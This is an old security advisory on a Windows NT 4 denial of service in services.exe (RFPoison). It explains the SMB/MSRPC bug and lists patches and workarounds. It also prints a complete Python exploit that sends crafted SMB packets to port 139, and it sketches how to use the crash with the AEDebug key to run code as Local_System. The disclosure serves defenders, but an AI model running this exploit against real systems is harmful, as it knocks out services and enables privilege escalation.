COMMAND

    Services.exe

SYSTEMS AFFECTED

    WinNT 4

PROBLEM

    ".rain.forest.puppy." found following.  Interesting on how  things
    go  around/come  around.   Recently  Luke  Kenneth Casson Leighton
    found that  SP6 does  not fixes  the LSA  denial of  service.   He
    states   that    this    problem   is    essentially    "due    to
    marshalling/unmarshalling MSRPC code being  unable to cope with  a
    NULL  policy  handle."   He  also  states  that they reported this
    problem to Microsoft around February 1999.

    Well, no, RFP did not 'rediscover' the LSA denial of service.   He
    did, however, discover a different denial of service based out  of
    services.exe.  When sent a  specific packet, it's possible to  get
    srvsvc.dll to  choke, and  cause services.exe  to reference  a bad
    memory  location.   For  those  geeks  in  the  crowd, essentially
    srvsvc_netrshareenum         in          srvsvc.dll           uses
    rpcrt4_ndrcomplexstructunmarshall to tweak  a string, but  returns
    a NULL.  srvsvc_netrshareenum doesn't check for return value, adds
    four  to  the  pointer,  and  passes  it up a function stack until
    finally  that  memory  is  read  (address  00000004).   Blam...Dr.
    Watson.

    So we have another problem due to marshalling/unmarshalling  MSRPC
    code.   This was  found independantly  of Luke's  info and the LSA
    vulnerability.   The  impact   is  pretty  severe.    Services.exe
    handles named pipes for the system.  Once this crashes, everything
    named-pipe-based goes with it.  This means logons, logouts, remote
    system  access  (registry,  server  functions,  etc), local server
    management,  IIS,  file  sharing,  etc...all  go  down  the  tube.
    However,  the  box  will,  for  the  most part, appear to function
    normally on  the local  side, until  you do  something involving a
    named pipe  service.   The only  fix is  to reboot...however,  the
    shutdown  procedure  waits  for  every  (non-existant)  service to
    respond to  shutdown, and  timeout.   On a  typical box this could
    cause  the  full  shutdown  procedure  to  push  over a half-hour;
    therefore, hard  reset is  most likely  needed.   Also, once  in a
    great while the bug  will 'survive' during a  reset.  It may  take
    two reboots to get the system back in order.  Strange, yes.   How,
    who knows.  But it's what happened over a half dozen times  across
    four separate boxes that were tested.

    Now, some  of you  are thinking  "well, denial  of services  suck.
    How can we own .gov and .mil websites with this?"   Well, let's go
    back to  David LeBlanc's  response to  RFP9903 (AEDebug advisory).
    He states, for AEDebug to really  be a problem, you have to  "make
    something crash that  has higher access  rights than you  do."  He
    also states "you've got to make a service go down that won't  kill
    the machine."  Bingo,  this fits the bill.   If we have access  to
    change the AEDebug registry key,  we can set what programs  to run
    on crash, set autorun to  True, and then crash services.exe.   Our
    programs run as Local_System, the box is still alive (TCP/IP-wise)
    and usable via netcat and  whatnot.  A much more  useful situation
    for a denial of service, don't you think?  Also, Eric Schultze has
    detailed out many  situations where someone  could have access  to
    your AEDebug  key.   It is  suggested you  read his  tidbit.  It's
    posted as document 11 in the knowledge base available at

        http://www.wiretrip.net/rfp/

    So far, RFP has been able to use this exploit on NT 4.0 server and
    workstation, with  various levels  of SP  1, 3,  5, and  6 service
    packs installed.  He even  tried applying SP 5 with  the following
    hotfixes  (in  the  following  order):  lsareq,  ipsrfix, csrssfx,
    ioctlfx,  and  igmpfix.    He  also   tried  using  the   Security
    Configuration  Editor   on  various   different  'secure'   system
    profiles, testing to  see if perhaps  a registry key  affected it.
    After  all  modifications,  the  systems  were  still susceptible.
    HOWEVER, there are reports  of two boxes *NOT*  being susceptible.
    The reason  for this,  however, is  unfound.   Information will be
    released when it is found.

    RFP released a working exploit, but with conditions:

       - he will only release a Windows executable.
       - The windows executable is coded to reboot (NT) or crash  (9x)
         upon successful  execution.   If you  blow something  up, you
         blow up too.  Seems fair enough.
       - A few checks  that keep the program  from running if you  run
         in  a  user  context  that  does  not allow the above 'safety
         features' to work.

    The  skilled  will  be  able  to  go  off this, and the, well, the
    abusers will hit the glass ceiling as intended.  You can  download
    RFPoison.exe from my website (of course) at

        http://www.wiretrip.net/rfp/

    'nascheme'  posted  following.   He  didn't  do  much of a reverse
    engineering  job  but  maybe  someone  will  find  this useful for
    testing  other  exploits  along  the  same  line.  The Python code
    should be portable.  Maybe someone  can make it more generic.   It
    works against all the NT  machines tried (probably all SP5).   You
    may have  to run  the exploit  multiple times  before SERVICES.EXE
    dies.  It is hard to test with the machine rebooting all the time.

    #!/usr/bin/env python
    #
    # Services.exe DoS
    # hard work done by: rfp@wiretrip.net
    # Python hack by: nas@adler.dynodns.net
    #
    # This only seems to work on NT.  Also, it may have to be run multiple times
    # before SERVICES.EXE will die.  Improvements welcome.
    #
    # Usage: rfpoison.py <ip address>

    import string
    import struct
    from socket import *
    import sys

    def a2b(s):
        bytes = map(lambda x: string.atoi(x, 16), string.split(s))
        data = string.join(map(chr, bytes), '')
        return data

    def b2a(s):
        bytes = map(lambda x: '%.2x' % x, map(ord, s))
        return string.join(bytes, ' ')

    # NBSS session request
    nbss_session = a2b("""
        81 00  00 48 20 43 4b 46 44 45
        4e 45 43 46 44 45 46 46  43 46 47 45 46 46 43 43
        41 43 41 43 41 43 41 43  41 43 41 00 20 45 48 45
        42 46 45 45 46 45 4c 45  46 45 46 46 41 45 46 46
        43 43 41 43 41 43 41 43  41 43 41 41 41 00 00 00
        00 00
        """)

    # SMB stuff
    crud = (
        # SMBnegprot Request
        """
        ff 53 4d 42 72 00
        00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 f4 01 00 00  01 00 00 81 00 02 50 43
        20 4e 45 54 57 4f 52 4b  20 50 52 4f 47 52 41 4d
        20 31 2e 30 00 02 4d 49  43 52 4f 53 4f 46 54 20
        4e 45 54 57 4f 52 4b 53  20 31 2e 30 33 00 02 4d
        49 43 52 4f 53 4f 46 54  20 4e 45 54 57 4f 52 4b
        53 20 33 2e 30 00 02 4c  41 4e 4d 41 4e 31 2e 30
        00 02 4c 4d 31 2e 32 58  30 30 32 00 02 53 61 6d
        62 61 00 02 4e 54 20 4c  41 4e 4d 41 4e 20 31 2e
        30 00 02 4e 54 20 4c 4d  20 30 2e 31 32 00
        """,

        # SMBsessetupX Request
        """
        ff 53 4d 42 73 00
        00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 f4 01 00 00  01 00 0d ff 00 00 00 ff
        ff 02 00 f4 01 00 00 00  00 01 00 00 00 00 00 00
        00 00 00 00 00 17 00 00  00 57 4f 52 4b 47 52 4f
        55 50 00 55 6e 69 78 00  53 61 6d 62 61 00
        """,

        # SMBtconX Request
        """
        ff 53 4d 42 75 00
        00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 f4 01 00 08  01 00 04 ff 00 00 00 00
        00 01 00 17 00 00 5c 5c  2a 53 4d 42 53 45 52 56
        45 52 5c 49 50 43 24 00  49 50 43 00
        """,

        # SMBntcreateX request
        """
        ff 53 4d 42 a2 00
        00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 08 f4 01 00 08  01 00 18 ff 00 00 00 00
        07 00 06 00 00 00 00 00  00 00 9f 01 02 00 00 00
        00 00 00 00 00 00 00 00  00 00 03 00 00 00 01 00
        00 00 00 00 00 00 02 00  00 00 00 08 00 5c 73 72
        76 73 76 63 00
        """,

        # SMBtrans Request
        """
        ff 53 4d 42 25 00
        00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 08 f4 01 00 08  01 00 10 00 00 48 00 00
        00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
        00 48 00 4c 00 02 00 26  00 00 08 51 00 5c 50 49
        50 45 5c 00 00 00 05 00  0b 00 10 00 00 00 48 00
        00 00 01 00 00 00 30 16  30 16 00 00 00 00 01 00
        00 00 00 00 01 00 c8 4f  32 4b 70 16 d3 01 12 78
        5a 47 bf 6e e1 88 03 00  00 00 04 5d 88 8a eb 1c
        c9 11 9f e8 08 00 2b 10  48 60 02 00 00 00
        """,

        # SMBtrans Request
        """
        ff 53 4d 42 25 00
        00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 08 f4 01 00 08  01 00 10 00 00 58 00 00
        00 58 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
        00 58 00 4c 00 02 00 26  00 00 08 61 00 5c 50 49
        50 45 5c 00 00 00 05 00  00 03 10 00 00 00 58 00
        00 00 02 00 00 00 48 00  00 00 00 00 0f 00 01 00
        00 00 0d 00 00 00 00 00  00 00 0d 00 00 00 5c 00
        5c 00 2a 00 53 00 4d 00  42 00 53 00 45 00 52 00
        56 00 45 00 52 00 00 00  00 00 01 00 00 00 01 00
        00 00 00 00 00 00 ff ff  ff ff 00 00 00 00
        """
    )
    crud = map(a2b, crud)


    def smb_send(sock, data, type=0, flags=0):
        d = struct.pack('!BBH', type, flags, len(data))
        #print 'send:', b2a(d+data)
        sock.send(d+data)

    def smb_recv(sock):
        s = sock.recv(4)
        assert(len(s) == 4)
        type, flags, length = struct.unpack('!BBH', s)
        data = sock.recv(length)
        assert(len(data) == length)
        #print 'recv:', b2a(s+data)
        return type, flags, data

    def nbss_send(sock, data):
        sock.send(data)

    def nbss_recv(sock):
        s =  sock.recv(4)
        assert(len(s) == 4)
        return s

    def main(host, port=139):
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(host, port)
        nbss_send(s, nbss_session)
        nbss_recv(s)
        for msg in crud[:-1]:
            smb_send(s, msg)
            smb_recv(s)
        smb_send(s, crud[-1]) # no response to this
        s.close()

    if __name__ == '__main__':
        print 'Sending poison...',
        main(sys.argv[1])
        print 'done.'

SOLUTION

    Patch availability:

    - x86:
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16382
    - alpha:
        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16383

    Patch  for  Windows  NT  Server,  Terminal  Server Edition will be
    released shortly.  WOrkarounds are below.

    - Block port 139 on your  firewall.  This, however, does not  stop
      internal attack.

    - Turn off  the Server service.   While inconvenient, this  should
      be deemed as a temporary solution  until you  apply a MS  patch.
      Just for reference,  shutting off the  Server service will  also
      shut  down  the  Computer  Browser  service.   Glitch,  a fellow
      Wiretrip member,  describes the  functions of  these services as
      follows:

        SERVER:  Used   as  the   key  to   all  server-side   NetBIOS
        applications, this  service is  somewhat needed.  Without this
        service,  some  of  the  administrative  tools, such as Server
        Manager, could not be used.   If remote administration is  not
        needed,  it  is  highly  recommended  disabling  this service.
        Contrary to popular  belief, this service  is NOT needed  on a
        webserver.

        COMPUTER BROWSER: The Computer  Browser service is a  function
        within  Microsoft  networking  for  gathering and distributing
        resource information.   When active  on a  server, the  server
        will register its name through a NetBIOS broadcast or directly
        to a WINS server.

    So you should  note that turning  these services off  will disable
    the  server  from  participating  in  NetBIOS-related   functions,
    including file sharing and remote management.  But  realistically,
    how many servers need this?  Alternate means of content publishing
    (for webservers) exist (FTP and -ugh- FrontPage).  Of course  this
    leaves the myriad of other services though.

    PFPoison.exe will not affect your server if you unbind TCP/IP from
    the NetBIOS interface. This is a basic NT security precaution  and
    is even recommended by Microsoft.  If you really feel the need  to
    implement windows file  sharing or otherwise  use the internet  to
    extend access  to your  local network,  there are  several options
    available that are more 'secure' than NetBIOS over TCP/IP.

    - Enable 'RestrictAnonymous'
      Suggested by David  LeBlanc, you can  enable 'RestrictAnonymous'
      support in Lsa.  To do this, go to (in the registry):

        \HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa

      If you  don't have  it, you  need to  create a  DWORD key  named
      'RestrictAnonymous', with a  value of '1'.   This will  restrict
      anonymous SMB  connections (which  RFPoison uses).   This  still
      leaves your box usuable by normal means.